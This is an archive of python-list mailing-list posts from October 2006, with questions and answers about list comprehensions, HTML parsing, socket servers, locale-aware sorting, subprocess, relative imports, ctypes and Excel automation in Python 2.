Tue Oct 17 13:49:20 2006 From: rzantow at gmail.com (rzed) Date: Tue, 17 Oct 2006 13:49:20 -0400 Subject: A question about list References: <1161102973.920895.141500@i42g2000cwa.googlegroups.com> Message-ID: pretoriano_2001 at hotmail.com wrote in news:1161102973.920895.141500 @i42g2000cwa.googlegroups.com: > Hello: > Variable 'a' has the next values: > [[1,1],[2,2]] > and I want to take a to b as: > [[1,1,'='],[2,2,'=']] > How can I do this with only one line of instruction? > Thanks!! > b = [[x,y,'='] for (x,y) in a] -- rzed From zhangry at feng.co.jp Tue Oct 31 01:11:25 2006 From: zhangry at feng.co.jp (HYRY) Date: 30 Oct 2006 22:11:25 -0800 Subject: make a simple search function for homepage Message-ID: <1162275085.749477.12480@b28g2000cwb.googlegroups.com> I want to add some simple search function for my homepage. It need to search through all the html files of my homepage (about 300 pages), and highlight the search words. I made some test with HTMLParser, it works but slow. So, my question is how can I improve its speed? from HTMLParser import HTMLParser class HightLightParser(HTMLParser): def __init__(self, outfile, words): self.outfile = outfile self.words = words self.found = False HTMLParser.__init__(self) def handle_starttag(self, tag, attrs): self.outfile.write( self.get_starttag_text( ) ) def handle_endtag(self, tag): self.outfile.write( "" % tag ) def handle_data(self, data): for word in self.words: data = data.replace(word, "%s" % word) #highlight self.outfile.write(data) class SearchParser(HTMLParser): def __init__(self, words): self.words = words self.found = False HTMLParser.__init__(self) def handle_data(self, data): for word in self.words: if word in data: # search self.found = True words = ["the"] x = SearchParser(words) data = file("input.htm").read() x.feed(data) if x.found: y = HightLightParser(file("output.htm", "w"),words) y.feed(data) From larrybateswebsafe Mon Oct 23 14:12:25 2006 From: larrybateswebsafe (Larry Bates) Date: Mon, 23 Oct 2006 13:12:25 -0500 Subject: ZODB for inverted index? In-Reply-To: <1161625143.942199.327550@i3g2000cwc.googlegroups.com> References: <1161625143.942199.327550@i3g2000cwc.googlegroups.com> Message-ID: <1OWdnfsSrM54mKDYnZ2dnUVZ_o-dnZ2d@comcast.com> You may want to take a quick look at ZCatalogs. They are for indexing ZODB objects. I may not be understanding what you are trying to do. I suspect that you really need to store everything in a database (MySQL/Postgres/etc) for maximal flexibility. -Larry From mumebuhi at gmail.com Fri Oct 27 01:25:13 2006 From: mumebuhi at gmail.com (mumebuhi) Date: 26 Oct 2006 22:25:13 -0700 Subject: To Stop a Process that is Waiting on socket.accept() Message-ID: <1161926712.933304.74090@e3g2000cwe.googlegroups.com> I am having problem to kill the following script completely. The script basically does the following. The main thread creates a new thread, which does a completely useless thing, and then starts excepting for a connection via socket. # start import pickle import signal import simplejson import socket import sys import threading import time counter = 0 class WorkerThread(threading.Thread): def run(self): global counter while True: counter += 1 time.sleep(10) worker_thread = WorkerThread() worker_thread.start() server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('', 2727)) server.listen(2) def cleanup(signal, frame): print "die now" worker_thread.join(1) server.shutdown(socket.SHUT_RDWR) sys.exit(0) signal.signal(signal.SIGINT, cleanup) while True: channel, details = server.accept() stats = { 'key': "value" } s = simplejson.dumps(stats) channel.send(s) channel.close() # end The way I can think of right now is to kill the script using Ctrl+C. Hence, the signal handler in the code. However, the interpreter complains: ---start--- Traceback (most recent call last): File "ex_server.py", line 35, in ? channel, details = server.accept() File "/usr/lib/python2.4/socket.py", line 169, in accept sock, addr = self._sock.accept() File "ex_server.py", line 30, in cleanup server.shutdown(SHUT_RDWR) NameError: global name 'SHUT_RDWR' is not defined ---end--- Can anybody suggest a better way to do this? Thank you. Buhi From fulvio at tm.net.my Fri Oct 20 08:58:50 2006 From: fulvio at tm.net.my (Fulvio) Date: Fri, 20 Oct 2006 20:58:50 +0800 Subject: I would like write some data recovery software In-Reply-To: <1161300545.779504.101800@f16g2000cwb.googlegroups.com> References: <1161141519.989567.195330@i42g2000cwa.googlegroups.com> <1161300545.779504.101800@f16g2000cwb.googlegroups.com> Message-ID: <200610202058.50473.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Friday 20 October 2006 07:29, gel wrote: > > Once you get a way to access the bytes to recover... the Hachoir library > > can be interresting as a model to map structures on these data. > > > > ??????http://hachoir.org/ > > Cheers, I am having a bit of look at it now Bacula, may be interesting too. (if my infos are correct). F From fredrik at pythonware.com Mon Oct 16 14:28:29 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 16 Oct 2006 20:28:29 +0200 Subject: OT: What's up with the starship? In-Reply-To: <1161021960.792970.238240@m73g2000cwd.googlegroups.com> References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> <1161021960.792970.238240@m73g2000cwd.googlegroups.com> Message-ID: rurpy at yahoo.com wrote: > Then perhaps you or he could explain it to us less intelligent > people in very simple terms? the security advisory explains that the cause of the problem is a bug in the source code used to implement repr() for 32-bit Unicode strings, on all Python versions from 2.2 and onwards. Python 2.2 was released in 2001. From spedrosa at gmail.com Thu Oct 19 17:22:56 2006 From: spedrosa at gmail.com (Stephen Eilert) Date: 19 Oct 2006 14:22:56 -0700 Subject: Rapid desktop application development Message-ID: <1161292976.350842.314090@m7g2000cwm.googlegroups.com> Hi all, There has been much hype lately about web "megaframeworks", like TurboGears, Django and Rails(Ruby side). Those are all fantastic frameworks, nicely integrated so that the user can focus on solving his problem, instead of doing all the scaffolding and framework integration by hand. Now, I am not a fan of web applications so I'm creating a few GUI applications using Python. Thanks to wxPython, those are all native-looking, with powerful components. This is quite nice. Now, I want to use some OR-Mapper, so I chose SQLObjects. This is nice too. I do have to write controllers, model, and all the glue code between the frameworks by hand. However, I don't have to do that with a framework such as TurboGears, for web applications. Everything is neatly integrated so that I just have to "fill in the blanks". It would be the same application, except that the presentation is GUI-based, instead of Web-based. MVC architecture too and so on. Are there any frameworks like those, for GUI applications? It would be interesting to abstract away that repetitive work. Thanks, Stephen From cmtaylor at ti.com Mon Oct 30 18:18:54 2006 From: cmtaylor at ti.com (Taylor, Martin) Date: Mon, 30 Oct 2006 17:18:54 -0600 Subject: PyDoc link to source code Message-ID: When you use PyDoc, either with -w to generate a static web page or with -p to run as a web server, the generated pages have a link in the upper right corner to the source code for the referenced module. I can never get this link to work. I think part of the problem is that MS-IE doesn't know what to do with a .py file (should treat it like plain text). Does anyone know how to make these links work? Thanks, C. Martin Taylor Sr. Test Automation Specialist Texas Instruments, Inc. Educational and Productivity Solutions 7800 Banner Dr. MS 3908 Dallas, TX 75251 -------------- next part -------------- An HTML attachment was scrubbed... URL: From ldo at geek-central.gen.new_zealand Sun Oct 8 23:42:32 2006 From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro) Date: Mon, 09 Oct 2006 16:42:32 +1300 Subject: Asychronous execution *with* return codes? References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com> <1160053403.362330.136200@k70g2000cwa.googlegroups.com> <1160059393.325634.167640@e3g2000cwe.googlegroups.com> <1160065159.562889.184860@i3g2000cwc.googlegroups.com> <1160071806.019770.198470@e3g2000cwe.googlegroups.com> Message-ID: In message <1160071806.019770.198470 at e3g2000cwe.googlegroups.com>, utabintarbo wrote: > Justin wrote: >> If you're on a POSIX system, you could use the usual fork/exec/wait: >> > Sorry. Win32. We are only allowed spoons - no sharp objects. :-P How about installing Cygwin, then, and running under that? From Leo.Kislov at gmail.com Mon Oct 16 19:16:07 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 16 Oct 2006 16:16:07 -0700 Subject: Alphabetical sorts In-Reply-To: References: <4aQYg.6347$fl.1193@dukeread08> Message-ID: <1161040567.150338.208860@f16g2000cwb.googlegroups.com> On Oct 16, 2:39 pm, Tuomas wrote: > My application needs to handle different language sorts. Do you know a > way to apply strxfrm dynamically i.e. without setting the locale? Collation is almost always locale dependant. So you have to set locale. One day I needed collation that worked on Windows and Linux. It's not that polished and not that tested but it worked for me: import locale, os, codecs current_encoding = 'ascii' current_locale = '' def get_collate_encoding(s): '''Grab character encoding from locale name''' split_name = s.split('.') if len(split_name) != 2: return 'ascii' encoding = split_name[1] if os.name == "nt": encoding = 'cp' + encoding try: codecs.lookup(encoding) return encoding except LookupError: return 'ascii' def setup_locale(locale_name): '''Switch to new collation locale or do nothing if locale is the same''' global current_locale, current_encoding if current_locale == locale_name: return current_encoding = get_collate_encoding( locale.setlocale(locale.LC_COLLATE, locale_name)) current_locale = locale_name def collate_key(s): '''Return collation weight of a string''' return locale.strxfrm(s.encode(current_encoding, 'ignore')) def collate(lst, locale_name): '''Sort a list of unicode strings according to locale rules. Locale is specified as 2 letter code''' setup_locale(locale_name) return sorted(lst, key = collate_key) words = u'c ch f'.split() print ' '.join(collate(words, 'en')) print ' '.join(collate(words, 'cz')) Prints: c ch f c f ch From fredrik at pythonware.com Sun Oct 29 15:58:22 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 29 Oct 2006 21:58:22 +0100 Subject: Observation on "Core Python Programming" In-Reply-To: <1162152161.321947.257870@m73g2000cwd.googlegroups.com> References: <1162135496.144591.304640@b28g2000cwb.googlegroups.com> <1162152161.321947.257870@m73g2000cwd.googlegroups.com> Message-ID: Nick Vatamaniuc wrote: > I would consider that an omission. Functions are very important in > Python. I think the user/reader should see the _def_ and _class_ > statement fairly soon in the introduction. The name of the book is > thus somewhat misleading, because functions are at the "core" of > Python. have you read the book? From paul at boddie.org.uk Wed Oct 18 05:20:15 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 18 Oct 2006 02:20:15 -0700 Subject: Book about database application development? References: <0001HW.C157FA8900644D9AF0407530@news.individual.de> <7xlknhg2rz.fsf@ruckus.brouhaha.com> <0001HW.C158378C00729A42F0407530@news.individual.de> <453352d4$0$12918$426a34cc@news.free.fr> <0001HW.C159B10900A0DF8AF0407530@news.individual.de> <8Z4Zg.6659$5i7.274@newsreading01.news.tds.net> <0001HW.C15AFA6600D738B5F0488530@news.individual.de> Message-ID: <1161163215.654709.249960@i3g2000cwc.googlegroups.com> Dennis Lee Bieber wrote: > > Python has a half dozen GUI toolkits, and multiple adapters for > databases (some don't even follow DB-API2 specs). All independently > written. So no, you are not going to find, say, a grid widget that > automatically links to a database table/view/cursor, with bi-directional > updates. Aren't we going round in circles here? There presumably are grid widgets connected to database tables/views/cursors, if only exposed via user interface toolkits and other frameworks such as PyQt, Dabo and so on, but I thought the questioner wanted to know how to implement these things from the ground up. Paul From IloChab at yahoo.it Sun Oct 8 06:25:10 2006 From: IloChab at yahoo.it (IloChab) Date: Sun, 08 Oct 2006 12:25:10 +0200 Subject: Implementing a circular counter using property / descriptors? Message-ID: I'd like to implement an object that represents a circular counter, i.e. an integer that returns to zero when it goes over it's maxVal. This counter has a particular behavior in comparison: if I compare two of them an they differ less than half of maxVal I want that, for example, 0 > maxVal gives true. This is because my different counters grew together and they never differ a lot between them and so a value of 0 compared with an other of maxVal means that the previous one just made its increment before the other one. The python problem that I give you it's about style. I'd like to write in my code something that looks almost like using an integer object. I mean, I'd like to write: cnt = CircularConter(maxVal=100, initialVal=10) cnt += 100 # cnt value is 9 print cnt # prints 9 100 > cnt # is false cnt = 100 # cnt new value is 100 [NOT rebind cnt with 100] Until now I used this class: class CircularConter: def __init__(self, maxVal, initialVal=0): self.maxVal = maxVal self.val = None self.set( initialVal ) def __add__(self, increment): self.set( self.val + increment ) return self def __cmp__(self, operand): return cmp(self.maxVal/2, abs(operand - self.val)) * cmp(self.val, operand) def __repr__(self): return str(self.val) def __str__(self): return str(self.val) def set(self, val): if val > self.maxVal: self.val = val-self.maxVal-1 else: self.val = val ... and so my real writing was: cnt = CircularConter(maxVal=100, initialVal=10) cnt += 100 print cnt 100 > cnt # is false cnt.set(100) The fact is that I don't like to write cnt.set(100) or cnt = CircularConter(100, 100) instead of cnt = 100. So I thought that property or descriptors could be useful. I was even glad to write: cnt = CircularConterWithProperty(maxVal=100, initialVal=10) cnt.val += 100 print cnt.val 100 > cnt.val # is false cnt.val = 100 just to give uniformity to counter accessing syntax. But I wasn't able to implement nothing working with my __cmp__ method. I'll post one of mine NOT WORKING implementation. class pro(object): def __init__(self, maxVal, val): self._maxVal = maxVal self._val = val def getval(self): return self._val def setval(self, val): if val > self._maxVal: self._val = val-self._maxVal-1 else: self._val = val val = property(getval, setval) class CircularConterWithProperty(pro): def __init__(self, maxVal, val=0): super(CircularConterWithProperty, self).__init__( maxVal, val) def __cmp__(self, operand): return cmp(self.maxVal/2, abs(operand - self.val)) * cmp(self.val, operand) __ I know why this doesn't work. __ __ What I don't know __ is if there is a way to write a class that allows my desire of uniform syntax or if IT IS JUST A NON SENSE. I'll thank in advance for any answer. Saluti a tutti Licia From vinogri at mcmaster.ca Thu Oct 26 17:50:48 2006 From: vinogri at mcmaster.ca (Ivan Vinogradov) Date: Thu, 26 Oct 2006 17:50:48 -0400 Subject: subprocess cwd keyword. Message-ID: Dear All, I would greatly appreciate a nudge in the right direction concerning the use of cwd argument in the call function from subprocess module. The setup is as follows: driver.py <- python script core/ <- directory main <- fortran executable in the core directory driver script generates some input files in the core directory. Main should do its thing and dump the output files back into core. The problem is, I can't figure out how to do this properly. call("core/main") works but uses .. of core for input/output. call("core/main",cwd="core") and call("main",cwd="core") both result in File "driver.py", line 47, in main() File "driver.py", line 40, in main print "OUT", call("core/main", cwd="core") File "/Library/Frameworks/Python.framework/Versions/2.5/lib/ python2.5/subprocess.py", line 443, in call return Popen(*popenargs, **kwargs).wait() File "/Library/Frameworks/Python.framework/Versions/2.5/lib/ python2.5/subprocess.py", line 593, in __init__ errread, errwrite) File "/Library/Frameworks/Python.framework/Versions/2.5/lib/ python2.5/subprocess.py", line 1051, in _execute_child raise child_exception OSError: [Errno 2] No such file or directory perhaps if subprocess would indicate the abs path of the object in question I could figure it out, but as is I'm lost. -- Cheers, Ivan. From gagsl-py at yahoo.com.ar Tue Oct 24 22:37:33 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Tue, 24 Oct 2006 23:37:33 -0300 Subject: Want to reduce steps of an operation with dictionaries In-Reply-To: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> Message-ID: <7.0.1.0.0.20061024232637.03941968@yahoo.com.ar> At Tuesday 24/10/2006 21:29, pretoriano_2001 at hotmail.com wrote: >a={'a':0, 'b':1, 'c':2, 'd':3} >b={'a':0, 'c':1, 'd':2, 'e':3} >I want to put in a new dictionary named c all the keys that are in b >and re-sequence the values. The result I want is: >c={'a':0, 'c':1, 'd':2} >How can I do this with one line of instruction? Why "one line"? Choosing the right data structure is far more important than squeezing the code to fit on one single line. I'm not sure if I understand you correctly - or maybe you're confusing yourself. If you're going to "re-sequence" the values, the original values are not relevant at all; so maybe you need a list instead of a dict. Perhaps this is what you want (something like swapping keys<->values): a = ['a', 'b', 'c', 'd'] b = ['a', 'c', 'd', 'e'] c = [x for x in a if x in b] c == ['a', 'c', 'd'] c[0] == 'a' c[1] == 'c' c[2] == 'd' -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From rdharles at gmail.com Mon Oct 16 15:12:38 2006 From: rdharles at gmail.com (rdharles at gmail.com) Date: 16 Oct 2006 12:12:38 -0700 Subject: string splitting Message-ID: <1161025958.201815.174020@m73g2000cwd.googlegroups.com> Hello, I have thousands of files that look something like this: wisconsin_state.txt french_guiana_district.txt central_african_republic_province.txt I need to extract the string between the *last* underscore and the extention. So based on the files above, I want returned: state district province My plan was to use .split or .find but I can't figure out how locate only the last underscore in the filename. Anyone have any ideas? Thanks. R.D. From nairarunv at gmail.com Thu Oct 26 07:19:21 2006 From: nairarunv at gmail.com (Arun Nair) Date: 26 Oct 2006 04:19:21 -0700 Subject: Error to be resolved Message-ID: <1161861560.979401.29710@m73g2000cwd.googlegroups.com> Hey guys can you help me resolve this error Thanks & Regards, Arun Nair This is the program ======================================================================== from random import * from string import * class Card: def __init__(self, suit, rank): self.suit = suit self.rank = rank self.rank = ["None","Clubs","Diamonds","Hearts","Spades"] self.suit = ["zero", "Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", "Queen", "King"] self.BJ = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10] def getRank(self): return self.rank def getSuit(self): return self.suit def BJValue(self): return self.BJ def __str__(self): return " %s of %s(%s)" % (self.rank[self.rank], self.suit[self.suit], self.BJ[self.rank]) def main(): n = input("How many cards do you want to draw from the deck?") for i in range(n): a = randrange(1,13) b = randrange(1,4) c = Card(a,b) print c main() ========================================================================= This is the error >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>> Traceback (most recent call last): File "C:\Python24\Lib\site-packages\pythonwin\pywin\framework\scriptutils.py", line 310, in RunScript exec codeObject in __main__.__dict__ File "D:\A2_3.1.py", line 32, in ? main() File "D:\A2_3.1.py", line 30, in main print c File "D:\A2_3.1.py", line 22, in __str__ return " %s of %s(%s)" % (self.rank[self.rank], self.suit[self.suit], self.BJ[self.rank]) TypeError: list indices must be integers >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> From eurleif at ecritters.biz Tue Oct 24 11:07:29 2006 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Tue, 24 Oct 2006 11:07:29 -0400 Subject: The format of filename In-Reply-To: References: Message-ID: <453e2b6e$0$13814$4d3efbfe@news.sover.net> Neil Cerutti wrote: > Is translation of '/' to '\\' a feature of Windows or Python? It's a feature of Windows, but it isn't a translation. Both slashes are valid path separators on Windows; backslashes are just the canonical form. From onurb at xiludom.gro Fri Oct 20 05:19:47 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Fri, 20 Oct 2006 11:19:47 +0200 Subject: help with my first use of a class In-Reply-To: <1161325977.502197.142350@m73g2000cwd.googlegroups.com> References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> <1161325977.502197.142350@m73g2000cwd.googlegroups.com> Message-ID: <453894b4$0$31252$426a74cc@news.free.fr> BartlebyScrivener wrote: > Whoah. At least I got the connection. I think. Maybe I can figure more > on my own. Any help appreciated. > > Thanks > > --------- > > class Connection: > def __init__(self, aDatasource): > self.db = aDatasource > self.conn = odbc.DriverConnect(self.db) > self.conn.cursor() This creates a cursor, that's immediatly discarded. > def random_quote(): > """ > Counts all of the quotes in MS Access database Quotations2005.mdb. > Picks one quote at random and displays it using textwrap. > """ > c = Connection('DSN=Quotations') > c.execute ("SELECT COUNT(Quote) FROM PythonQuoteQuery") And this will raise an AttributeError, since your (mostly useless) Connection class doesn't define an 'execute' method. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From snaury at gmail.com Sat Oct 14 18:51:02 2006 From: snaury at gmail.com (Alexey Borzenkov) Date: 14 Oct 2006 15:51:02 -0700 Subject: Relative import bug or not? Message-ID: <1160866262.002826.110940@m7g2000cwm.googlegroups.com> After reading PEP-0328 I wanted to give relative imports a try: # somepkg/__init__.py # somepkg/test1.py from __future__ import absolute_import from . import test2 if __name__ == "__main__": print "Test" # somepkg/test2.py But it complaints: C:\1\somepkg>test1.py Traceback (most recent call last): File "C:\1\somepkg\test1.py", line 1, in from . import test2 ValueError: Attempted relative import in non-package Does this mean that packages that implement self tests are not allowed to use relative import? Or is it just a bug? I can understand that I can use "import test2" when it's __main__, but when it's not now it complains about no module test2 with absolute_import on. PEP-0328 also has this phrase: "Relative imports use a module's __name__ attribute to determine that module's position in the package hierarchy. If the module's name does not contain any package information (e.g. it is set to '__main__') then relative imports are resolved as if the module were a top level module, regardless of where the module is actually located on the file system.", but maybe my english knowledge is not really good, because I can't understand what should actually happen here ("relative imports are resolved as if the module were a top level module")... :-/ So is it a bug, or am I doing something wrong? From onurb at xiludom.gro Fri Oct 27 08:00:23 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Fri, 27 Oct 2006 14:00:23 +0200 Subject: conditional computation In-Reply-To: References: <4541369b$0$2875$426a74cc@news.free.fr> Message-ID: <4541f4d7$0$7249$426a74cc@news.free.fr> robert wrote: > Bruno Desthuilliers wrote: >> robert a ?crit : >> (snip) >>> class MemoCache(dict): # cache expensive Objects during a session >>> (memory only) >>> def memo(self, k, f): >>> try: return self[k] >>> except KeyError: #<--------- was error >>> return self.setdefault(k, f()) >>> cache=MemoCache() >>> ... >>> >>> o = cache.memo( complex-key-expr, lambda: expensive-calc-expr ) >>> >> >> And how do you get back the cached value without rewriting both >> complex-key-expr *and* expensive-calc-expr ? Or did I missed the point ? > > the complex-key-expr is written only once in the code How do you get something back from the cache then ? > expensive-calc-expr is written only once in code Same problem here... I fail to understand how you intend to use this "cache". -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From duncan.booth at invalid.invalid Sat Oct 14 04:51:30 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 14 Oct 2006 08:51:30 GMT Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <7xhcy72xm1.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > brenocon at gmail.com writes: >> deferred = fetchPage('http://python.org') >> def _showResponse(response) >> print "fancy formatting: %s" % response.text >> deferred.addCallback(_showResponse) >> >> Lots of Twisted code has to be written backwards like this. > > But that's just ugly. The fetchPage function should take the callback > as an argument. In an asynchronous system it would even be buggy. > What happens if the page fetch completes before you add the callback? Or it should be trivial to give deferred a decorator method and write: @deferred.callback def _showResponse(response): ... From cfbolz at gmx.de Fri Oct 6 09:48:50 2006 From: cfbolz at gmx.de (Carl Friedrich Bolz) Date: Fri, 06 Oct 2006 15:48:50 +0200 Subject: Scientific computing and data visualization. In-Reply-To: <1157652641.877725.223880@h48g2000cwc.googlegroups.com> References: <1157574433.664189.217960@m73g2000cwd.googlegroups.com> <1157652641.877725.223880@h48g2000cwc.googlegroups.com> Message-ID: <45265EC2.1020100@gmx.de> bernhard.voigt at gmail.com wrote: > A commonly used data analysis framework is root (http://root.cern.ch). > It offers a object oriented C++ framework with all kind of things one > needs for plotting and data visualization. It comes along with PyRoot, > an interface making the root objects available to Python. > Take a look at the root manual for examples, it also contains a section > describing the use of PyRoot. I can definitively second that. ROOT is a bit hard to learn but very, very powerful and PyRoot is really a pleasure to work with. Cheers, Carl Friedrich Bolz From exarkun at divmod.com Thu Oct 5 10:57:33 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Thu, 5 Oct 2006 10:57:33 -0400 Subject: socket client server... simple example... not working... In-Reply-To: <1160056909.927803.251790@i42g2000cwa.googlegroups.com> Message-ID: <20061005145733.1717.852527647.divmod.quotient.68183@ohm> On 5 Oct 2006 07:01:50 -0700, SpreadTooThin wrote: > [snip] > >Jean-Paul many thanks for this and your effort. >but why is it every time I try to do something with 'stock' python I >need another package? Maybe you are trying to do things that are too complex :) >By the time I've finished my project there are like 5 3rd party add-ons >to be installed. I don't generally find this to be problematic. >I know I'm a python newbie... but I'm far from a developer newbie and >that can be a recipe for >disaster. Not every library can be part of the standard library, neither can the standard library satisfy every possible use-case. Relying on 3rd party modules isn't a bad thing. >The stock socket should work and I think I've missed an >obvious bug in the code other >than checking the return status. > Well, I did mention one bug other than failure to check return values. Maybe you missed it, since it was in the middle. Go back and re-read my response. Jean-Paul From tkondal at gmail.com Wed Oct 4 14:53:51 2006 From: tkondal at gmail.com (tkondal at gmail.com) Date: 4 Oct 2006 11:53:51 -0700 Subject: Having trouble using CTypes with a custom function In-Reply-To: References: <1159985896.742017.313430@e3g2000cwe.googlegroups.com> <1159986910.925738.146560@i42g2000cwa.googlegroups.com> Message-ID: <1159988031.804084.253010@i42g2000cwa.googlegroups.com> Hi Chris. I know that it is easy to fix the problem using C++. However, I do not want to code a wrapper DLL. I was wondering if there was a workaround with Python. Everything has to be done in Python as we do not have the tools for C++ (and we are not planning on getting any). Thanks. Chris Mellon wrote: > > > On 4 Oct 2006 11:35:11 -0700, tkondal at gmail.com wrote: > > Would you have any example of a wrapper for such data types? > > > > Thanks. > > > > Chris Mellon wrote: > > > On 4 Oct 2006 11:18:16 -0700, tkondal at gmail.com wrote: > > > > Hi all. > > > > > > > > I just started looking at Python's ctypes lib and I am having trouble > > > > using it for a function. > > > > > > > > For starters, here's my Python code: > > > > > > > > > > > > from ctypes import*; > > > > myStringDLL= cdll.LoadLibrary("myStringDLL.dll"); > > > > > > > > GetMyString = getattr(myStringDLL, > > > > "?GetMyString@@YA_NAAV?$basic_string at DU?$char_traits at D@std@@V?$allocator at D@2@@std@@@Z") > > > > > > > > strString = create_string_buffer('\000' * 256); > > > > GetMyString.restype = c_int; > > > > GetMyString.argtypes = [c_char_p]; > > > > > > > > bResult = GetMyString (strSerialNumber); > > > > > > > > print (bResult); > > > > print (strSerialNumber); > > > > > > > > #C++ Prototype of the function I want to call: > > > > #bool GetMyString (string& stringParam) ; > > > > > > > > > > > > > > > > > > > > I do not have access to the source code of this function so don't ask > > > > me to try different things in C++. This DLL is working fine. > > > > > > > > The problem that I have is that print (strSerialNumber) does not seem > > > > to print the correct string. What I get is some garbage value of > > > > unprintable characters. Am I using this the correct way? > > > > > > > > > > > > > > > > > > > This function is expecting a C++ std::string object, not a regular C > > > style string. You'll need a wrapper function, and one which uses the > > > same compiler and STL as the C++ source. > > > > > > > Thanks. > > > > > > > > -- > > > > http://mail.python.org/mailman/listinfo/python-list > > > > > > > > in this case it'd be very simple: > > bool WrapGetMyString(char * c) { > return GetMyString(c) > } > > > (Note: This isn't unicode safe). > > The C++ compiler will handle converting from the char * to the std::string. > > > > > > > -- > > http://mail.python.org/mailman/listinfo/python-list > > From sonaldgr8 at gmail.com Fri Oct 20 08:25:55 2006 From: sonaldgr8 at gmail.com (sonald) Date: 20 Oct 2006 05:25:55 -0700 Subject: Unicode support in python In-Reply-To: References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com> Message-ID: <1161347155.127042.88710@m7g2000cwm.googlegroups.com> Fredrik Lundh wrote: > > http://www.google.com/search?q=python+unicode > > (and before anyone starts screaming about how they hate RTFM replies, look > at the search result) > > Thanks!! but i have already tried this... and let me tell you what i am trying now... I have added the following line in the script # -*- coding: utf-8 -*- I have also modified the site.py in ./Python24/Lib as def setencoding(): """Set the string encoding used by the Unicode implementation. The default is 'ascii', but if you're willing to experiment, you can change this.""" encoding = "utf-8" # Default value set by _PyUnicode_Init() if 0: # Enable to support locale aware default string encodings. import locale loc = locale.getdefaultlocale() if loc[1]: encoding = loc[1] if 0: # Enable to switch off string to Unicode coercion and implicit # Unicode to string conversion. encoding = "undefined" if encoding != "ascii": # On Non-Unicode builds this will raise an AttributeError... sys.setdefaultencoding(encoding) # Needs Python Unicode build ! Now when I try to validate the data in the text file say abc.txt (saved as with utf-8 encoding) containing either english or russian text, some junk character (box like) is added as the first character what must be the reason for this? and how do I handle it? From ghalsey at yahoo.com Tue Oct 10 19:08:10 2006 From: ghalsey at yahoo.com (greg.rb) Date: 10 Oct 2006 16:08:10 -0700 Subject: Adding Worksheets to an Excel Workbook References: <1160514523.693496.223630@e3g2000cwe.googlegroups.com> Message-ID: <1160521690.691861.283500@e3g2000cwe.googlegroups.com> # here is a simple script: from win32com.client import Dispatch xlApp = Dispatch("Excel.Application") xlApp.Visible=1 #show me excel xlApp.Workbooks.Add() #add a workbook for r in range(1,5): #put data into spreadsheet row/column xlApp.Cells(r,r).Value=r for r in range(1,5): #read data from sheet print xlApp.Cells(r,r).Value xlApp.Worksheets.Add()#add another sheet in same workbook. for r in range(1,11): #put data into spreadsheet xlApp.Cells(1,r).Value=r #first row this tome #xlApp.ActiveWorkbook.Close() #xlApp.Quit Good luck. Here is a free Excel Object Model Overview: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dv_wrcore/html/wrconexcelobjectmodeloverview.asp From paddy3118 at netscape.net Sun Oct 29 11:46:08 2006 From: paddy3118 at netscape.net (Paddy) Date: 29 Oct 2006 08:46:08 -0800 Subject: Regular Expression help for parsing html tables In-Reply-To: <1162071780.766299.274830@e64g2000cwd.googlegroups.com> References: <1162071780.766299.274830@e64g2000cwd.googlegroups.com> Message-ID: <1162140368.810434.48490@k70g2000cwa.googlegroups.com> steve551979 at hotmail.com wrote: > Hello, > > I am having some difficulty creating a regular expression for the > following string situation in html. I want to find a table that has > specific text in it and then extract the html just for that immediate > table. > > the string would look something like this: > > ...stuff here... > > ...stuff here... >
> ...stuff here... >
> ... > text i'm searching for > ... >
> ...stuff here... > > ...stuff here... > > ...stuff here... > > > My question: is there a way in RE to say: "when I find this text I'm > looking for, search backwards and find the immediate instance of the > string "" and then search forwards and find the immediate > instance of the string "
